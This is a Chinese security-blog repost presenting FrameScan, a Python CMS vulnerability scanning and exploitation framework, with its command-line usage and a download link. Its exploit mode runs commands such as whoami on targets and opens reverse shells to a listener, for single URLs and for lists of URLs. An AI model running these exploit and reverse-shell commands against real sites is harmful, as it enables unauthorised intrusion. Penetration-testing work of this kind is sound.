cms漏洞检测框架 FrameScan

admin
admin
admin
139018
文章
114
评论
2024年8月7日10:53:40评论31 views字数 935阅读3分7秒阅读模式
0x01 工具介绍

FrameScan是一款python3编写的简易的cms漏洞检测利用框架，支持漏洞检测与简单利用方式，支持大多数CMS，可以自定义CMS类型及自行编写POC。旨在帮助有安全经验的安全工程师对已知的应用快速发现漏洞。

0x02 安装与使用

一、单URL批量检测

python3 FrameScan.py -u URL

二、单URL单漏洞检测（POC_NAME可以用 -l、-s、-la进行查询）

python3 FrameScan.py -u URL -n POC_NAME

三、单URL指定CMS检测

python3 FrameScan.py -u URL -cms CMS_NAME

四、多URL批量检测

python3 FrameScan.py -f 文件名

五、多URL单漏洞检测

python3 FrameScan.py -f 文件名  -n  POC_NAME

六、多URL指定CMS检测

python3 FrameScan.py -f 文件名  -cms  CMS_NAME

七、输出到TXT或者HTML文件

python3 FrameScan.py -u URL -txt   文件名python3 FrameScan.py -u URL -html  文件名

八、单URL漏洞利用

python3 FrameScan.py -u URL -m exp -v exp_namepython3 FrameScan.py -u URL -m exp -v exp_name -c whoamipython3 FrameScan.py -u URL -m exp -v exp_name -shell 127.0.0.1:8080  #127.0.0.1:8080为反弹shell的端口

九、多URL漏洞利用

python3 FrameScan.py -f 文件  -m exp -v exp_name python3 FrameScan.py -f 文件  -m exp -v exp_name -c whoamipython3 FrameScan.py -f 文件  -m exp -v exp_name -shell
0x03 下载
https://github.com/qianxiao996/FrameScan-GUI/releases

原文始发于微信公众号（Web安全工具库）：cms漏洞检测框架 -- FrameScan(8月4日更新 )

 

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月7日10:53:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   cms漏洞检测框架 FrameScanhttps://cn-sec.com/archives/3041935.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息